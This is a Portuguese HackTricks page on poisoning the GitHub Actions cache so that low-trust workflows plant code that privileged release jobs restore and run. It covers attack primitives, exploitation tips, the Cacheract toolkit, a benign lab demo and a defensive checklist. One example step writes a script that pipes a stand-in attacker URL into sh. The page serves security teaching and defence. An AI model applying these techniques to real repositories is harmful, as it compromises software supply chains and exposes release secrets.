GH Actions - Cache Poisoning
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Visão geral
O cache do GitHub Actions é global para um repositório. Qualquer workflow que conheça uma key do cache (ou restore-keys) pode popular essa entrada, mesmo que o job tenha apenas permissions: contents: read. O GitHub não segrega caches por workflow, tipo de evento ou nível de confiança, então um atacante que comprometa um job de baixo privilégio pode envenenar um cache que um job de release privilegiado irá restaurar posteriormente. Foi assim que o comprometimento da Ultralytics pivoteou de um workflow pull_request_target para a pipeline de publicação do PyPI.
Primitivas de ataque
actions/cacheexpõe operações de restore e save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). A chamada de save é permitida para qualquer job, exceto workflows realmente não confiáveis depull_requestdisparados a partir de forks.- Entradas do cache são identificadas unicamente pela
key.restore-keysamplos facilitam injetar payloads porque o atacante só precisa colidir com um prefixo. - Cache keys e versions são valores especificados pelo cliente; o serviço de cache não valida que uma key/version corresponda a um workflow confiável ou a um caminho de cache.
- A URL do servidor de cache + o runtime token são de longa duração em relação ao workflow (historicamente ~6 horas, agora ~90 minutos) e não são revogáveis pelo usuário. Desde o final de 2024 o GitHub bloqueia escritas no cache após o job originário ser concluído, então atacantes precisam escrever enquanto o job ainda estiver em execução ou pré-envenenar keys futuras.
- O sistema de arquivos em cache é restaurado literalmente. Se o cache contiver scripts ou binários que sejam executados depois, o atacante controla esse caminho de execução.
- O próprio arquivo de cache não é validado na restauração; é apenas um arquivo compactado com zstd, então uma entrada envenenada pode sobrescrever scripts,
package.json, ou outros arquivos sob o caminho de restauração.
Exemplo de cadeia de exploração
Workflow do autor (pull_request_target) envenenou o cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Fluxo de trabalho privilegiado restaurado e executou o cache envenenado:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
O segundo job agora executa código controlado pelo atacante enquanto possui credenciais de release (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
As entradas de cache do GitHub Actions são tipicamente zstd-compressed tar archives. Você pode criar uma localmente e enviá-la para o cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, a ação de restauração vai extrair o archive tal como está. Se o caminho do cache inclui scripts ou arquivos de configuração que são executados depois (build tooling, action.yml, package.json, etc.), você pode sobrescrevê-los para obter execução.
Dicas práticas de exploração
- Mire workflows acionados por
pull_request_target,issue_comment, ou comandos de bot que ainda salvam caches; o GitHub permite que eles sobrescrevam chaves do repositório mesmo quando o runner tem apenas acesso de leitura ao repo. - Procure chaves de cache determinísticas reutilizadas através de fronteiras de confiança (por exemplo,
pip-${{ hashFiles('poetry.lock') }}) ourestore-keyspermissivos, então salve seu tarball malicioso antes do workflow privilegiado ser executado. - Monitore logs por entradas
Cache savedou adicione seu próprio passo de cache-save para que o próximo job de release restaure o payload e execute os scripts ou binários trojanizados.
Técnicas mais recentes observadas na cadeia Angular (2026)
- Cache v2 “prefix hit” behavior: No Cache v2, misses exatos ainda podem restaurar outra entrada que compartilha o mesmo prefixo de chave (efetivamente “all keys are restore keys”). Atacantes podem pré-semeiar chaves próximas à colisão para que um miss futuro caia no objeto envenenado.
- Forced eviction in one run: Desde 20 de novembro de 2025, o GitHub evicta entradas imediatamente quando o uso de cache do repositório excede o limite (10 GB por padrão). Um atacante pode fazer upload de dados de cache lixo primeiro, remover entradas legítimas durante o mesmo job e então gravar a chave de cache maliciosa sem esperar pelo ciclo diário de limpeza.
setup-nodecache pivots via reusable actions: Ações reutilizáveis/internas que envolvemactions/setup-nodecomcache-dependency-pathpodem ligar silenciosamente fluxos de trabalho de baixa confiança a fluxos de alta confiança. Se ambos os caminhos fizerem hash para chaves compartilhadas, envenenar o dependency cache pode executar em automações privilegiadas (por exemplo jobs do Renovate/bot).- Chaining cache poisoning into bot-driven supply chain abuse: No caso Angular, o cache poisoning expôs um bot PAT, que então pôde ser usado para force-push dos heads de PR pertencentes ao bot após aprovação. Se regras de reset de aprovação isentarem atores bot, isso permite trocar commits revisados por commits maliciosos (por exemplo SHAs de actions impostoras) antes do merge.
##å Cacheract
Cacheract é um toolkit focado em PoC para GitHub Actions cache poisoning em testes autorizados. O valor prático é que ele automatiza as partes frágeis que são fáceis de errar manualmente:
- Detectar e usar o contexto de runtime do cache a partir do runner (
ACTIONS_RUNTIME_TOKENe cache service URL). - Enumerar e mirar chaves/versões candidatas de cache usadas por workflows a jusante.
- Forçar eviction preenchendo a cota de cache (quando aplicável) e então gravar entradas controladas pelo atacante na mesma execução.
- Semear conteúdo de cache envenenado para que workflows posteriores restaurem e executem tooling modificado.
Isso é especialmente útil em ambientes Cache v2 onde timing e comportamento de chave/versão importam mais do que em implementações iniciais de cache.
Demonstração
Use isto apenas em repositórios que você possui ou para os quais tem permissão explícita para testar.
1. Vulnerable workflow (untrusted trigger can save cache)
Este workflow simula um anti-padrão do pull_request_target: ele grava conteúdo de cache a partir de um contexto controlado pelo atacante e salva sob uma chave determinística.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Fluxo de trabalho privilegiado (restaura e executa binário/script em cache)
Este workflow restaura a mesma chave e executa toolchain/bin/build enquanto mantém um segredo fictício. Se envenenado, o caminho de execução é controlado pelo atacante.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Executar o laboratório
- Adicione um arquivo estável
toolchain.lockpara que ambos os workflows resolvam a mesma chave de cache. - Dispare
untrusted-cache-writera partir de um PR de teste. - Dispare
privileged-consumerviaworkflow_dispatch. - Confirme que
POISONED_BUILD_PATHaparece nos logs e que/tmp/cache-poisoning-demo.txtfoi criado.
4. O que isto demonstra tecnicamente
- Cross-workflow cache trust break: Os workflows writer e consumer não compartilham o mesmo nível de confiança, mas compartilham o mesmo namespace de cache.
- Execution-on-restore risk: Nenhuma validação de integridade é realizada antes de executar um script/binário restaurado.
- Deterministic key abuse: Se um job de alta confiança usar chaves previsíveis, um job de baixa confiança pode preposicionar conteúdo malicioso.
5. Lista de verificação defensiva
- Separe as chaves por limites de confiança (
pr-,ci-,release-) e evite prefixos compartilhados. - Desative gravações de cache em workflows não confiáveis.
- Faça hash/verifique o conteúdo executável restaurado antes de executá-lo.
- Evite executar ferramentas diretamente de caminhos de cache.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

